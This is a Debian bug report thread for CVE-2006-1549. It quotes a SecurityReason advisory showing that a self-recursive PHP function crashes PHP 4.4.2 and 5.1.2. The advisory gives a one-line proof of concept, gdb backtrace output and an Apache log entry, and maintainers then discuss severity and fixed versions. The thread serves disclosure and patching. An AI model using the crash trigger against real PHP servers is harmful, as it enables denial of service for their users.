[CVE-2006-1549] PHP allows local users to cause a crash by defining and executing a recursive function.

Debian Bug report logs - #361854
[CVE-2006-1549] PHP allows local users to cause a crash by defining and executing a recursive function.

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Message #5 received at submit@bugs.debian.org (full text, mbox, reply):

From: Oliver Paulus <oliver@code-project.org>

To: submit@bugs.debian.org

Subject: function *() php/apache Crash PHP 4.4.2 and 5.1.2

Date: Mon, 10 Apr 2006 23:14:43 +0200

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Package: php4
Version: 4:4.3.10-16
Severity: grave

for more informaton see:
http://securityreason.com/achievement_securityalert/35

-- 
Oliver Paulus

OpenPGP
Key id: 28D9C44F
Fingerprint: EADA 62FC 07DC 3361 A3D6  4174 2DE3 C027 28D9 C44F
Public Key: http://pgp.mit.edu:11371/pks/lookup?op=get&search=0x28D9C44F

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Message #12 received at 361854@bugs.debian.org (full text, mbox, reply):

From: Ondrej Sury <ondrej@sury.org>

To: 361854@bugs.debian.org

Subject: Re: [php-maint] Bug#361854: function *() php/apache Crash PHP 4.4.2 and 5.1.2

Date: Tue, 11 Apr 2006 10:00:21 +0200

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[function *() php/apache Crash PHP 4.4.2 and 5.1.2]

Author: Maksymilian Arciemowicz (cXIb8O3)
Date:
- -Written: 21.3.2006
- -Public: 8.4.2006
from SECURITYREASON.COM
CVE-2006-1549

- --- 0.Description ---
PHP is an HTML-embedded scripting language. Much of its syntax is
borrowed from C, Java and
Perl with a couple of unique PHP-specific features thrown in. The goal
of the language is to
allow web developers to write dynamically generated pages quickly.

A nice introduction to PHP by Stig Sæther Bakken can be found at
http://www.zend.com/zend/art/intro.php on the Zend website. Also, much
of the PHP Conference
Material is freely available. 

- --- 1. function *() Crash ---
PHP4/5 is vulnerability to a local denial-of-service. General problem is
in allocated data to
memory. 

for example attack:

cxib# php -r 'function cx(){ cx(); } cx();'
Segmentation fault (core dumped)
cxib# 

Segfault.. let`s see what we have in gdb

- ---
cxib# cat /www/functionsegfault.php
<?
function cx(){
cx();
} 
cx();
?>
cxib# gdb -q php
(gdb) r '/www/functionsegfault.php'
Starting program: /usr/local/bin/php '/www/functionsegfault.php'

Program received signal SIGSEGV, Segmentation fault.
0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260, 
__zend_filename=0x811d8c0
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c",
__zend_lineno=1568)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
111 /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c: No such
file or
directory.
in /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c
(gdb) bt
#0 0x080de6bd in _zval_copy_ctor (zvalue=0xbbc00260, 
__zend_filename=0x811d8c0
"/usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c",
__zend_lineno=1568)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_variables.c:111
#1 0x080f042a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1568
#2 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#3 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#4 0x080f019a in execute (op_array=0x81b3880)
at /usr/ports/lang/php4/work/php-4.4.2/Zend/zend_execute.c:1719
#5 0x080f019a in execute (op_array=0x81b3880)
...
- ---

or in apache error_log

[Mon Mar 20 12:12:54 2006] [notice] child pid 744 exit signal Illegal
instruction (4)

- --- 2. Greets ---

For: sp3x
and
p_e_a, pi3, eax, Infospec ;]

- --- 3. Contact ---
Author: SecurityReason.Com [ Maksymilian Arciemowicz ( cXIb8O3 ) ]
Email: max [at] jestsuper [dot] pl or cxib [at] securityreason [dot] com
GPG: http://securityreason.com/key/Arciemowicz.Maksymilian.gpg
SecurityReason.Com

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-- 
Ondrej Sury <ondrej@sury.org>

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Message #23 received at 361854-done@bugs.debian.org (full text, mbox, reply):

From: Steve Langasek <vorlon@debian.org>

To: Oliver Paulus <oliver@code-project.org>, 361854-done@bugs.debian.org, 361855-done@bugs.debian.org, 361856-done@bugs.debian.org, 361853-done@bugs.debian.org

Subject: Re: Bug#361854: function *() php/apache Crash PHP 4.4.2 and 5.1.2

Date: Mon, 10 Apr 2006 22:01:02 -0700

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Version: 4:4.4.2-1
severity 361854 important
severity 361855 important
severity 361856 important
thanks

On Mon, Apr 10, 2006 at 11:14:43PM +0200, Oliver Paulus wrote:
> for more informaton see:
> http://securityreason.com/achievement_securityalert/34

On Mon, Apr 10, 2006 at 11:14:43PM +0200, Oliver Paulus wrote:
> for more informaton see:
> http://securityreason.com/achievement_securityalert/35

On Mon, Apr 10, 2006 at 11:16:11PM +0200, Oliver Paulus wrote:
> for more informaton see:
> http://securityreason.com/achievement_securityalert/36

On Mon, Apr 10, 2006 at 11:17:52PM +0200, Oliver Paulus wrote:

> for more informaton see:
> http://securityreason.com/achievement_securityalert/37

It is my understanding that all of these bugs are fixed in the etch version
of php4; I'm accordingly marking them as closed.

In addition, except for the cross-site scripting bug, none of these appear
to warrant severity: grave.

-- 
Steve Langasek                   Give me a lever long enough and a Free OS
Debian Developer                   to set it on, and I can move the world.
vorlon@debian.org                                   http://www.debian.org/

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Message #38 received at 361854@bugs.debian.org (full text, mbox, reply):

From: Stefan Fritsch <sf@sfritsch.de>

To: 361856@bugs.debian.org, control@bugs.debian.org, 361854@bugs.debian.org

Subject: also not fixed in 4.4.2 but in 4.4.3

Date: Mon, 14 Aug 2006 22:47:04 +0200

found 361856 4:4.4.2-1.1
found 361854 4:4.4.2-1.1
thanks

see
http://secunia.com/advisories/19599/
for #361856

http://www.frsirt.com/english/advisories/2006/1290
for #361854

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